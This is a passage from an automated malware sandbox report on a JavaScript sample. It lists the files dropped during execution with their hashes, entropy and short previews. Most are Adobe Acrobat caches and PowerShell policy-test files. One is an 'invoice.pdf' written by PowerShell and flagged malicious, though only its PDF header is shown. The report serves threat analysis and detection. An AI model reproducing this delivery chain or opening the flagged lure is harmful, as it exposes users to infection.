SHA-512:	4156DBCF3F2C32900F1D104F1D71A7AC90B22EB4883C5A591840028878E9C6DD2D7094C5EE1694049423862BE87129021F351F0B7A96EE604721E09C1317E8A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ef7bc79-5d9b-4207-b67e-64d4d1ec77ee","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736955913065,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.128700025720929
Encrypted:	false
SSDEEP:	24:YKpLagay10tMLzSC4Px5gyknEkdRj3j0SLQf2WP2LS1CfaYQe0M/87Q5gxEh9LuG:YKnXSC4vkzzSBP/NYQc/88eEh9N
MD5:	0056F05D4F713F76D80E85FD5D2E4956
SHA1:	6EB3A569C36885A49E4459E2ABFAAB69200A5C90
SHA-256:	D70512E3905CB1A40DD364E2A376A64D04676BEE138578E0B22CCD6CF75A53F5
SHA-512:	F42D942A313A93BE774CEEBE50A6716126D43B36C3A4240452E9C0C0962CA678A53219662245548E01E86F15401AD54D6B7043D8160D484465BBCAA3FB3462E4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e88010ce8206728f1d1c7ac44271417a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736776632000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"335f8046dc5adf3f14ec886d459095ef","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736776632000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"608f1a018c45052ca25263edb23c741f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736776632000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9a820b74148e6beef9fb3372debdb99d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736776632000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0a9ea245cdf04164fcb10826d90966b7","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736776632000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d217875a3717fad45c8609690c7cdd54","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3180958387304664
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeotqVpab:TGufl2GL7ms9WR1CPmPbPahSypilIG
MD5:	8A98B6C42C119A314AE92EE05B38C346
SHA1:	0C217D09D8F0EFAD1ECE74175A30D67D73D9DBF9
SHA-256:	46557DD22C7427A21A7436CB65F49C12171DB9AF86254A84ED03E8079072F956
SHA-512:	D5E59C1A24026D3C70BB8C0BCA8B92813E3F2011793CEDB9D33F14D6277EE4E967F86C6C9D0EEA7F571B4A05044CCC13AEAF8C204FB2D195406F5D765461E160
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.780011141030767
Encrypted:	false
SSDEEP:	24:7+tFwlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeo4qVpaVrScVr0InhqLhx/M:7MdWR1CPmPbPahTypilIMqFl2GL7msG
MD5:	A19770F205458481791DDF72DA75F46F
SHA1:	EF19E784C8BDB34E525E085D0755B3703E8F74E6
SHA-256:	AD0885BA36237C4D06C1B3E73E0CD38798C10D2BE44271F4A487018588C12F31
SHA-512:	BA70E114507E0A63C4FE917C3BC52DAA33DAA8EC64586E81F9727ADDB8A6EE10C96F39C5D5AA58156532CE4811B1B38BE015EF37A9525920D0E8ECC798C4B765
Malicious:	false
Preview:	.... .c.....zE.~..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgMReaZhVC3FwpbJoxbtFDoqyMYyu:6a6TZ44ADE8eaZhVLdOHyMK
MD5:	BDE02C47A313A46EC216D37FDD1E8048
SHA1:	392CA12ADFDBD8BA100312B55F2F6861BE27D726
SHA-256:	C332AFC02A6C1544847D8752E53B62AECF9A10DF3F8F3BB24CA3972A40485948
SHA-512:	CC0C0AC015AF1F2C3DB5D97E899136CCB76D3528B991A1600B11A90095976D93521F4A0D812E9F130F56235B489F202DE48F388E33090D3C955C01F0047924FC
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIe0d14.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5136057226030957
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jClqlS8OnH:Qw946cPbiOxDlbYnuRKTjRs
MD5:	70A7D6C61B79E1F5202A393A875B71DC
SHA1:	A58A2A0C8AB52F1B7E304C0AEB122FCB8005F215
SHA-256:	F05E9A576EDEE8C21DAE0A88059F1C4B91BCA0705DF6BA6D18DA94D1B8973ADE
SHA-512:	96E0124F617EAE57AE76A3B50561F71F95BA06F84629212D3C4C52205FD2F713A69C90FA823EBF0F14AE5360CECF81A7D793628DB5EAB2CEDB0E8E6256811E21
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.8.:.5.7.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4hniny2t.oze.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aonk15km.4ho.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 08-57-05-104.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.37008260451255
Encrypted:	false
SSDEEP:	384:ZaWb+5U60oBfJXSejvZCPhuLjA3qJsodb0uSg0AQamvLxdCeMJEiMVMB4Brkwl1C:2tv
MD5:	4B7987DACAEE3C2012C90A7741BD3771
SHA1:	34D80A51385412F9DF8C616A8976C861D9C7B508
SHA-256:	BEDA0651B2F56E91A77F70BACA524EC32EFA5C3A976CA9C50501896960A5FDE2
SHA-512:	E5386507AA3063ED260EC8F57F22CBD15D6F05EC2ED6A94A1B9BACB31E14387A756081DB4B0553207184E90A481B6B46199825B6EB730E78789075AC4B5D4AD6
Malicious:	false
Preview:	SessionID=ca34fed3-65e3-453b-806e-834ff0dc96b2.1736776625119 Timestamp=2025-01-13T08:57:05:119-0500 ThreadID=7376 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ca34fed3-65e3-453b-806e-834ff0dc96b2.1736776625119 Timestamp=2025-01-13T08:57:05:127-0500 ThreadID=7376 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ca34fed3-65e3-453b-806e-834ff0dc96b2.1736776625119 Timestamp=2025-01-13T08:57:05:127-0500 ThreadID=7376 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ca34fed3-65e3-453b-806e-834ff0dc96b2.1736776625119 Timestamp=2025-01-13T08:57:05:127-0500 ThreadID=7376 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ca34fed3-65e3-453b-806e-834ff0dc96b2.1736776625119 Timestamp=2025-01-13T08:57:05:127-0500 ThreadID=7376 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.407815997764721
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbqcbTcIt9cbl:ceo4+rsC1JtW
MD5:	7478AFF0B41B70BA37F79A337DBFD67D
SHA1:	C370E60133F96D71D023D9C10E877A674B34B996
SHA-256:	3E16DF24310EF965CC465F8C3D439F5206C4D6468B274354221BDF41944F6260
SHA-512:	BB2B012068368642BE8D97B6C4CF1236437E9131031C52A6BA388087A08EA99C3AC4CA204E542C21172C776362C737AD1D02DDF7BECDCE7B261082B0AC2CF814
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0dfb3910-8a7d-493d-80b7-9e7018fd8f77.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\29fec90b-eaf1-455d-a7ae-e5ad290f514b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\63a5664a-428d-4058-8c89-5ab16d8cc3ea.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\eada7854-2451-4163-b5ec-f3ac7d1326ec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10563), with no line terminators
Entropy (8bit):	4.994677578739316
TrID:
File name:	10557253441737814573.js
File size:	10'563 bytes
